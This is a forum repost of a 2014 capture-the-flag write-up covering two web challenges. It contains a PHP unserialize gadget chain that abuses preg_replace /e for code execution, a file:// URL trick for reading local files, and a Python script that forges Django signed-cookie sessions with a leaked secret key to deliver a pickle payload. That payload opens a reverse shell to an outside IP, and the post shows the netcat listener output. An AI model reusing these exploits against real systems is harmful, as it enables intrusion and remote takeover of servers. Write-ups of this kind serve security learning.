DevStart Blogi Napisano Kwiecień 27, 2014 Zgłoś Udostępnij Napisano Kwiecień 27, 2014 kpop (web200)We were given the source files of a service used to archive information about our favorite songs - after some quick skimming through the code, we saw that it used PHP serialize to keep the state and save revived data to db, and additionally used unserialize on user-supplied data. Could we use it? Yes we could. There is a nice _destruct method in the class in question, which appends data to logs.-- _destruct -- function writeLog($txt) { $txt = $this->format->format($txt); file_put_contents("/var/www/sqli/unserial/logs/" . $this->filename, $txt, FILE_APPEND); } ... function log($txt) { $this->logwriter->writeLog($txt); } ... function __destruct() { $this->song->log(); }-- _destruct -- Let's chain some class to write our file on disk... wait, we can't - there's no writable catalog anywhere in the filesystem. :( But hey, let's look carefully at logger - there's a preg_replace and we can control the regular expression!-- logger --class LogWriter_File { protected $filename; protected $format; function __construct($filename, $format) { $this->filename = str_replace("..", "__", str_replace("/", "_", $filename)); $this->format = $format; } function writeLog($txt) { $txt = $this->format->format($txt); file_put_contents("/var/www/sqli/unserial/logs/" . $this->filename, $txt, FILE_APPEND); }};-- logger --By using the /e switch, we can execute arbitrary code:-- exploit --matchPattern=$a;$this->replacement=$b;}}class LogFileFormat { public $filters,$endl; function __construct($a){$this->filters=$a;$this->endl='';}}class LogWriter_File { protected $filename,$format; function __construct($b){$this->filename='';$this->format=$b;}}class Logger { protected $logwriter; function __construct($a){$this->logwriter=$a;}}class Song { protected $logger,$name,$group,$url; function __construct($a){$this->url=$this->name=$this->group='';$this->logger=$a;}}class Lyrics { protected $lyrics,$song; function __construct($a){$this->lyrics='';$this->song=$a;}}$of = new OutputFilter('/(.*)/e',$payload);$w = new LogWriter_File(new LogFileFormat($of));$e = new Lyrics(new Song(new Logger($w)));echo base64_encode(serialize($e));-- exploit --Flag: One_of_our_favorite_songs_is_bubble_pop reekee (web200)We were given the source files of a django based web service used to share and upload memes, and we could upload arbitrary files via HTTP. Neat.-- cut -- url = request.POST['url'] text = request.POST['text'] try: if "http://" in url: image = urllib2.urlopen(url) else: image = urllib2.urlopen("http://"+url) except:-- cut --Oh, only via HTTP? Nope, urllib2 can handle more than just HTTP URLs, it supports the file and ftp protocols, so we can use file:// to read local files - if we can squeeze in the "http://" string somewhere in the filename. In order to do it, we can put the "http://" after hash (see http://en.wikipedia.org/wiki/Fragment_identifier); something like "file://file#http://". By doing this, we could read arbitrary local files, but searching for flag / key yielded nothing, so we took a different road and saw that the session was serialized with pickle and cookie was signed in settings.py.-- settings.py --SESSION_SERIALIZER = 'django.contrib.sessions.serializers.PickleSerializer'SESSION_ENGINE = 'django.contrib.sessions.backends.signed_cookies'-- settings.pyThe signing was done with an HMAC with a secret stored in settings.py. Let's read it and forge some cookies to get RCE (django code ripped from: https://github.com/danghvu/pwp) --- exploit ---import os, hashlib, sys, pickleimport requests, subprocessfrom hmac import new as hmacfrom base64 import b64encode as b64from lxml import etreedef send_django(key, add, payload,t): def base64(s): #taken from django import base64 return base64.urlsafe_b64encode(s).strip(b'=') def salted_hmac(salt, value, secret): #taken from django key = hashlib.sha1((salt + secret).encode('utf-8')).digest() return hmac(key, msg=value, digestmod=hashlib.sha1).digest() import time import baseconv #taken from django timestamp = baseconv.base62.encode(str(int(time.time()))) data = base64(payload)+":"+timestamp mac = base64(salted_hmac('django.contrib.sessions.backends.signed_cookiessigner', data, key)) #default salt by django s = '%(payload)s:%(time)s:%(mac)s'%{'payload':base64(payload), 'time':timestamp, 'mac':mac} t.update({'sessionid':s}) return requests.get(add, cookies=t)IP = '91.228.198.97'PORT = 41412url ='http://54.82.251.203:8000'r = requests.get(url+'/login')cook = r.cookiestok = r.cookies['csrftoken']print tokr = requests.post(url+'/login',data={'username':'dragonfap','password':'dragonfap','csrfmiddlewaretoken':tok},cookies=cook)print r.textp = "ctypes\nFunctionType\n(cmarshal\nloads\n(cbase64\nb64decode\n(S'YwAAAAAFAAAAAwAAAEMAAABzmAAAAHQAAGQBAIMBAH0AAHQAAGQCAIMBAH0BAHQAAGQDAIMBAH0CAHwAAGoBAIMAAH0DAHwDAGoCAGQLAIMBAAF8AgBqAwB8AwBqBACDAABkBgCDAgABfAIAagMAfAMAagQAgwAAZAcAgwIAAXwCAGoDAHwDAGoEAIMAAGQIAIMCAAF8AQBqBQBkCQBkCgBnAgCDAQB9BABkAABTKAwAAABOdAYAAABzb2NrZXR0CgAAAHN1YnByb2Nlc3N0AgAAAG9zcw0AAAA5MS4yMjguMTk4Ljk3acShAABpAAAAAGkBAAAAaQIAAABzBwAAAC9iaW4vc2hzAgAAAC1pKAIAAABzDQAAADkxLjIyOC4xOTguOTdpxKEAACgGAAAAdAoAAABfX2ltcG9ydF9fUgAAAAB0BwAAAGNvbm5lY3R0BAAAAGR1cDJ0BgAAAGZpbGVub3QEAAAAY2FsbCgFAAAAdAIAAABzc3QCAAAAc3BSAgAAAHQBAAAAc3QBAAAAcCgAAAAAKAAAAABzGAAAAC9ob21lL21hay9waHVuL3BpY2tsZS5weXQDAAAAcHduBgAAAHMSAAAAAAIMAQwBDAEMAA0BFgAWABYB'\ntRtRc__builtin__\nglobals\n(tRS''\ntR(tR."SECRET_KEY = 'kgsu8jv!(bew#wm!eb3rb=7gy6=&5ew*jv)j-6-(50$f%no98-'r = send_django(SECRET_KEY,url+'/make',p,cook)print r.text--- exploit ---On listener:$ nc -l -p 41412/bin/sh: 0: can't access tty; job control turned off$ iduid=1001(reekee) gid=1001(reekee) groups=1001(reekee)$ give_me_the_flag.exe mymeme use_exe_to_read_me.txt$ ./give_me_the_flag.exeflag: why_did_they_make_me_write_web_appswrite: SuccessWyświetl pełny artykuł Cytuj Link do komentarza Udostępnij na innych stronach More sharing options...
Recommended Posts
Join the conversation
You can post now and register later. If you have an account, sign in now to post with your account.